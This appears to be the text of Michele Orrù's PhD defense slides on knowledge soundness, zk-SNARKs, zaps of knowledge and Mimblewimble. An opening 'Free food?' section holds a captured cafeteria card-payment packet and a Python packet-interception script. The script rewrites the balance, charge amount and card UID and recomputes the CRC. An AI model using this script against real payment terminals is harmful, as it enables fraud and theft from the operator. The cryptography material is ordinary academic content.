defense of knowledge

Michele Orrù

Free food?

Free Food?

0000   02 02 00 01 4c 62 00 3b 30 34 30 37 31 39 3b 31   ....Lb.;040719;1
0010   38 31 39 33 39 3b 42 30 34 35 45 38 36 31 32 30   81939;B045E86120
0020   42 35 42 38 30 30 30 30 30 30 30 30 30 30 3b 30   B5B80000000000;0
0030   30 30 32 34 37 30 34 3b 3b 3b 3b 30 30 30 30 31   0024704;;;;00001
0040   30 30 30 3b 30 30 30 30 33 31 30 34 3b 45 3b 30   000;00003104;E;0
0050   31 42 4d 58 5f 41 54 49 47 04 dd 37               1BMX_ATIG.Ý7
date (04 July 19)
time 
(18:19:39)
card UID
error corr. code? lol
new balance (31.04EUR)
charge amount (10.00EUR)

Database

free food?

#!/usr/bin/env python
import codecs
import struct
import sys

import fnfqueue
from scapy.all import *


CRC_TABLE = [
    0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
    0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
    0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
    0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
    0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
    0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
    0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
    0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
    0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
    0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
    0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
    0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
    0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
    0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
    0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
    0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
    0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
    0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
    0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
    0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
    0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
    0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
    0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
    0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
    0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
    0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
    0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
    0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
    0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
    0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
    0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
    0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040,
]


def modbus_crc(payload):
    crc = 0xFFFF
    for byte in payload:
        i = ord(byte) ^ crc
        crc >>= 8
        crc ^= CRC_TABLE[i & 0xFF]

    return struct.pack('<BB', crc >> 8, crc & 0xff)

def test_crc():
    test = codecs.decode('020200014c62003b3034303731393'
                         'b3138313933393b42303435453836'
                         '31323042354238303030303030303'
                         '030303b30303032343730343b3b3b'
                         '3b30303030313030303b303030303'
                         '33130343b453b3031424d585f4154'
                         '494704', 'hex')
    print(codecs.encode(modbus_crc(test), 'hex'))



def replace_amount(payload):
    # strip off the original crc
    payload = payload[:-2]

    values = payload.split(b';')
    charging = values[-2] == 'E'

    if not charging: return None

    balance = int(values[-3])
    charging_amount = int(values[-4])

    values[-3] = str(balance + 1337).rjust(8, '0')
    values[-4] = str(charging_amount + 1337).rjust(8, '0')

    # recompute crc
    replaced_payload = b';'.join(values)
    crc = modbus_crc(replaced_payload)

    return replaced_payload + crc


def replace_card(payload, card):
    # strip off the original crc
    payload = payload[:-2]

    # format the card
    card = card.ljust(24, b'0')

    # split the csv
    values = payload.split(b';')
    print(values[3])
    values[3] = card
    print(values[3])

    # recompute crc
    replaced_payload = b';'.join(values)
    crc = modbus_crc(replaced_payload)

    return replaced_payload + crc


def test_replace_card():
    test = codecs.decode('020200013263003b303430373'
                         '1393b3138343930373b424130'
                         '4339313341363030303030303'
                         '030303030303030303b303030'
                         '3234373034424d585f4154494'
                         '704cb59', 'hex')
    test_card = 'BA0C913A6'
    got = replace_card(test, test_card)
    print(codecs.encode(got,'hex'))


def info(payload):
    # remove crc
    payload = payload[:-3]
    values = payload.split(b';')


    try:
        time = '{} {}'.format(values[1], values[2])
        uid =  values[3].rstrip('0')

        if payload.endswith(b'ATIG'):
            charging = values[-2] == 'E'
            transaction_id = values[4] if charging else values[-1][:-8]

            return {
                'type': 'request',
                'charging': charging,
                'time': time,
                'transaction_id': transaction_id.strip('0'),
                'uid': uid,
            }
        else:
            return {
                'type': 'response',
                'balance': values[-2].lstrip('0'),
                'time': time,
                'uid': uid,
            }

    except IndexError:
        return None
    

def main():
    queue = 0
    conn = fnfqueue.Connection()

    try:
        q = conn.bind(0)
        q.set_mode(0xffff, fnfqueue.COPY_PACKET)
    except OSError:
        print("Access denied; Do I have root rights or the needed capabilities?")
        sys.exit(-1)
        
    while True:
        try:
            for packet in conn:
                p = IP(packet.payload)
            
                print(info(p[Raw].load))
                p[Raw].load = b"ABCDEFGHILMNOPQ" # modify the packet here
                del p[TCP].chksum
                packet.payload = bytes(p)
                #packet.mangle()
                print(repr(packet.payload))

        except fnfqueue.BufferOverflowException:
            print("buffer error")
            pass
    
    conn.close()

        
if __name__ == '__main__':
    main()

With a belated thank you to BBQ, VIM, QWA for all the lulz ♥

Def. \(\gdef\np{\mathsf{NP}}\) \(\gdef \pt{\mathsf{PT}}\) \(\gdef\L{\mathcal{L}}\) A language \(\L \in \np\) if \(\exists \mathsf{V} \in \mathsf{PT}\):

  • (correctness) \(\forall x \in \L~~\exists w :   \mathsf{V}(x, w) = 1\)

  • (soundness)  \(\forall x \not\in \L~~\forall \hat w : ~~ \mathsf{V}(x, \hat w) = 0\)

Def. \(\gdef\np{\mathsf{NP}}\) \(\gdef \ippt{\mathsf{iPPT}}\) \(\gdef\simulator{\mathsf{S}}\)\(\gdef\L{\mathcal{L}}\) A language \(\L \in \mathsf{IP}\)  if \(\exists \mathsf{V} \in \mathsf{iPPT}\):

  • (correctness) \(\forall x \in \L~~\exists \mathsf{P} \in \mathsf{iTM} :   \Pr[\langle \mathsf{P}, \mathsf{V} \rangle(x) = 1]  = 1\)

  • (soundness)  \(\forall x \not\in \L~~\forall \mathsf{P} \in \mathsf{iTM}:  \Pr[\langle \mathsf{P},\mathsf{V} \rangle (x) = 1] \leq 1/2\)

  • (zero-knowledge)
    \(\exists \simulator \in \mathsf{PPT}~ ~\forall x \in \L~~ \forall \hat V \in \mathsf{iPPT}:   \simulator(x) \equiv \operatorname{View}_{\hat V}(\langle \mathsf{P}, \mathsf{\hat V}\rangle (x))\)

(ZK)

Def. \(\gdef\L{\mathcal{L}}\gdef\adv{\mathsf{A}}\gdef\simulator{\mathsf{S}}\) \((\mathsf{P}, \mathsf{V})\in \mathsf{PPT}\) is a non-interactive argument for the language \(\L\,\in\,\mathsf{NP}\) if :

  • (correctness) \(\forall x \in \L~~:   \Pr[\pi \gets \mathsf{P}(x, w) :  \mathsf{V}(x, \pi) = 1]\approx 1\)

  • (soundness)  \(\forall \adv \in \mathsf{PPT}: \Pr[(x, \pi) \gets \adv~~:~~ \mathsf{V}(x, \pi) = 1 \text { and } x\not\in\L] \approx 0\)

  • (zero-knowledge) \(\exists \simulator \in \mathsf{PPT}~ \forall x \in \L:   \simulator(x) \equiv \mathsf{P}(x, w)\)

(zero-knowledge)

… of knowledge?

soundness:

\(\mathsf{V}(x, \pi) =1\implies \exists w \) witness

 
knowledge soundness:

\(\mathsf{V}(x, \pi)=1 \implies ꓘw\) witness

soundness is too weak

Sometimes soundness is not enough:

Solutions always exist, what's hard is to find them.

-- Georg Fuchsbauer

  • confidential transactions

  • anonymous credentials

Soundness is too weak

Def. (KSND) \(\gdef\adv{\mathsf{A}}\gdef\ppt{\mathsf{PPT}}\gdef\rl{\mathsf{rl}}\)

\( \forall \adv \in \ppt~~ \exists \mathsf{Ext}_\adv \in \ppt: \)

\(\Pr\left[\begin{array}{r}(x , \pi) \gets \adv\\w \gets \mathsf{Ext}_\adv\end{array}~~~:~~~ \mathsf{V}(x, \pi) = 1 ~\land~ w \not\in \mathcal{R}(x)\right] \approx 0\)

Def. (SND) \(\gdef\adv{\mathsf{A}}\gdef\ppt{\mathsf{PPT}}\)

\( \forall \adv \in \ppt: \)

\(\Pr\left[\begin{array}{r}(x , \pi) \gets \adv\end{array}: \mathsf{V}(x, \pi) = 1 ~\land~ x \not\in \mathcal{L} \right] \approx 0 \)

Which Knowledge soundness?

modelling the adversary

soundness:

\(\mathsf{V}(x, \pi) =1 \implies \exists w \) witness

zero-knowledge:

\(\mathsf{S}(x) \equiv \mathsf{P}(x, w)\)

do they exist?

Impossibility of non-interactive zero-knowledge proof system in the standard model [GO94].

 

CONTRADICTS

do they exist?

Impossibility of non-interactive zero-knowledge proof system in the standard model [GO94].

 

knowledge soundness:

\(\mathsf{V}(x, \pi) =1 \implies ꓘ w \) witness

zero-knowledge:

\(\mathsf{S}(x) \equiv \mathsf{P}(x, w)\)

CONTRADICTS

Impossible to achieve

 Workarounds (that I worked on):
  • CRS model
    Lattice-based zk-SNARKs from Square Span Programs (ACM CCS'18) -- ia.cr/2018/275
    
  • Relax zero-knowledge
    Non-interactive zaps of knowledge (ACNS'18) -- ia.cr/2018/228
  • Shared randomness
    Anonymous tokens with private metadata bit (submitted) -- ia.cr/2020/072

how goes in the crs model?

 

we have practical, widely deployed systems:

Zero-Knowledge Succinct Non-interactive Arguments of Knowledge!

(a.k.a zk-SNARKs)

SNArks: IDEAs

  • arithmetization of CIRC-SAT

\(t(x) \mid w(x)\)

 

( \(h(x)t(x) = w(x)\) )

\(+\)

\(\times\)

  • arithmetization of CIRC-SAT
  • succintness

\(s \xleftarrow{\$}\mathbb{Z}_p\) 

\(h(s)t(s) \stackrel{?}{=} w(s)\)

SNArks: IDEAs

  • arithmetization of CIRC-SAT
  • succintness
  • oblivious polynomial evaluation

- \(\mathsf{E}(s)\) hides \(s \xleftarrow{\$}\mathbb{Z}_p\)

- \(\mathsf{E}\) is homomorphic: \(\mathsf{E}(s_0) + \mathsf{E}(s_1) = \mathsf{E}(s_0+s_1)\)

\(\implies\) given \(\mathsf{E}(s^1), \dots, \mathsf{E}(s^d)\), compute \(\mathsf{E(w(s))}\)

SNArks: IDEAs

CONTRIBUTIOn

Developed the first designated verifier zk-SNARK from PQ assumptions.*

* Assuming q-PKE, q-PKEQ and q-PDH on LWE ciphertexts

\(\vec a \xleftarrow{\$} \mathbb{Z}_q^n,~~ e \gets \chi\)

\(\equiv \) "uniform in \(\mathbb{Z}_q^{n+1}\)"

\( \Big(\vec a, \langle \vec{\vphantom{k}{a}}, \vec k \rangle  + e\Big)\)

for \(\vec k \in \mathbb{Z}_q^n\) :

what if \(\mathsf{E}\) is lwe encryption?

Fix \(n>1\), and a modulus \(q\geq 2\), and a probability dist. \(\chi\).

\(\mathsf{E}_{\vec k}(s_0)  + \mathsf{E}_{\vec k}(s_1) = \)

key \(\vec k \xleftarrow{\$} \mathbb{Z}_q^n\)

\( = \left(\langle \vec a_0  + \vec a_1, \vec k \rangle + (e_0 + e_1) + \frac{q}{2p} (s_0 + s_1)\right)\)

\(\equiv \) "uniform in \(\mathbb{Z}_q\)"

\( + \frac{q}{2p} s \Big)\)

\( \vec a, \langle \vec{\vphantom{k}{a}}, \vec k \rangle  + e\)

\(\left( \langle \vec{\vphantom{k}{a_0}}, \vec k \rangle + e_0 +  \frac{q}{2p} s_0 \right)+ \left( \langle \vec{\vphantom{k}{a_1}}, \vec k \rangle + e_1 + \frac{q}{2p} s_1\right)\)

message \(0 \leq s < p <\!\!< q\),

Fix \(n>1\), and a modulus \(q\geq 2\), and a probability dist. \(\chi\).

\( \mathsf{E}_{\vec k}(s) :=\)

\(\vec a \xleftarrow{\$} \mathbb{Z}_q^n,~~ e \gets \chi\)

\(\Big(\)

what if \(\mathsf{E}\) is lwe encryption?

  • correctness:  error growth allows the required linear operations;
  • soundness:  additional check in verification to enable the reduction;
  • zero-knowledge: flooding to avoid information leaks from the error.

what if \(\mathsf{E}\) is lwe encryption?

Impossible to achieve

 Workarounds (that I worked on):
  • CRS model
    Lattice-based zk-SNARKs from Square Span Programs (ACM CCS'18) -- ia.cr/2018/275
    
  • Relax zero-knowledge
    Non-interactive zaps of knowledge (ACNS'18) -- ia.cr/2018/228
  • Shared randomness
    Anonymous tokens with private metadata bit (submitted) -- ia.cr/2020/072
aka the NSA model
          -- infinity0

zero-knowldege can be relaxed

Def. (WI) \(\gdef\L{\mathcal{L}}\)

\(\forall x \in \L ~~~~~\forall w_0, w_1\in \mathcal{R}(x): \)

\(\mathsf{P}(x, w_0) \equiv \mathsf{P}(x, w_1)\)

Def. (ZK) \(\gdef\L{\mathcal{L}}\)

\(\forall x \in \L:\)

\(\mathsf{P}(x, w) \equiv \mathsf{S}(x)\)

Contribution

Thm. There exists a non-interactive zap for circuit satisfiability that satisfies knowledge soundness.*

* Assuming DLin and DH-KE, or SXDH and ADH-KE.

Non-interactive zaps

A non-interactive zap is a non-interactive witness-indistinguishable proof system in the standard model.

\(\mathsf{crs}_0\)

\(\mathsf{crs}_1\)

\(\pi_0\)

\(\pi_1\)

\(\mathsf{nizk_0}\)

\(\mathsf{nizk_1}\)

perf WI

perf SND

Non-interactive zaps

A non-interactive zap is a non-interactive witness-indistinguishable proof system in the standard model.

\(\mathsf{crs}\)

\(\mathsf{crs}'\)

\(\mathsf{crs}''\)

\((xG, yG, xyG)\)

\((xG, yG, xyG+G)\)

\((xG, yG, zG)\)

Non-interactive zaps

\(\mathsf{crs}\)

\(\mathsf{crs}'\)

\(\pi\)

\(\pi'\)

\(\mathsf{nizk_0}\)

\(\mathsf{nizk_1}\)

\(\textsf{zap} := (\mathsf{crs}, \pi, \pi')\)

A non-interactive zap is a non-interactive witness-indistinguishable proof system in the standard model.

\(\mathsf{crs}_0\)

\(\mathsf{crs}_0'\)

\(\pi_0\)

\(\pi_0'\)

\(\mathsf{zap}_0\)

\(\mathsf{crs}_1\)

\(\mathsf{crs}'\)

\(\pi\)

\(\pi'\)

\(\mathsf{zap}_1\)

\(\textsf{DH}(\textsf{crs}_0, \textsf{crs}_1)\)

non-interactive

ZAPs of knowledge

\(\mathsf{zak}\)

ZAPs of knowledge

  • Groth-Ostrovsky-Sahai, with DH-KE  + some auxiliary information.
  • Groth-Sahai, using Ràfols's zap with DH-(A)KE.

Impossible to achieve

 Workarounds (that I worked on):
  • CRS model
    Lattice-based zk-SNARKs from Square Span Programs (ACM CCS'18) -- ia.cr/2018/275
    
  • Relax zero-knowledge
    Non-interactive zaps of knowledge (ACNS'18) -- ia.cr/2018/228
  • Shared randomness
    Anonymous tokens with private metadata bit (submitted) -- ia.cr/2020/072

Applications:

mimblewimble

An anonymous cryptocurrency whose security can be guaranteed via homomorphic commitments and arguments of knowledge.
Aggregate Cash Systems (EUROCRYPT'19) -- ia.cr/2018/1039

Applications:

mimblewimble

  • no stealing
  • no inflation
  • transaction indistinguishability
Aggregate Cash Systems (EUROCRYPT'19) -- ia.cr/2018/1039

mibmlewimble: cut-through

Matching input and outputs can be eliminated. 
(Not really possible in Bitcoin.)

\(\mathsf{Tx}\)

\(\mathsf{Tx'}\)

\(\mathsf{in}\)

\(\mathsf{in}\)

\(\mathsf{out}\)

\(\mathsf{out}\)

\(A\)

\(B\)

\(B\)

\(C\)

\(+\)

\(\mathsf{in}\)

\(\mathsf{out}\)

\(A\)

\(C\)

\(=\)

SUMMARY OF contributions

  • Non-Interactive Zaps of Knowledge,
    with G. Fuchsbauer. ACNS 2018.

  • Lattice-Based zk-SNARKs from SSPs,
    with R. Gennaro, M. Minelli, A. Niţulescu. ACM CCS 2018.

  • Aggregate cash systems: A cryptographic investigation of Mimblewimble,
    with G. Fuchsbauer, Y. Seurin. EUROCRYPT 2019.

  • Anonymous Tokens with Private Metadata Bit,
    with B. Kreuter, T. Lepoint, M. Raykova.

Additional academic

 contributions

  • Homomorphic Secret Sharing: Optimizations and Applications,
    with E. Boyle, G. Couteau, N. Gilboa, Y. Ishai. ACM CCS 2017.
  • Actively Secure 1-out-of-N OT Extension with Application to Private Set Intersection,
    with E. Orsini, P. Scholl. CT-RSA 2017.

PSA:

CRYPTO HAS AN IMPACT ON PEOPLE

© Vernon Yuen

thanks to arma for the advice ♥

雨傘革命

further contributions:

standards and implementations

$ apt show easy-rsa
Package: easy-rsa
Version: 3.0.6-1
Priority: optional
Section: utils
Maintainer: Michele Orrù <michele.orru@ens.fr>
Installed-Size: 109 kB
Depends: openssl
Recommends: opensc
Homepage: https://github.com/OpenVPN/easy-rsa
Download-Size: 37.9 kB
APT-Manual-Installed: no
APT-Sources: http://webb.ens-cachan.fr/debian testing/main amd64 Packages
Description: Simple shell based CA utility
 This package eases the creation of certificates, for example for
 openvpn clients.
 .
 This was formerly part of the openvpn package.

why

it's up to us

why it's up to us

In sector 0, block 0, the first 4 bytes store the tag's serial number (NUID) and manufacturer information. This block can only be read.

michele.orru@ens.fr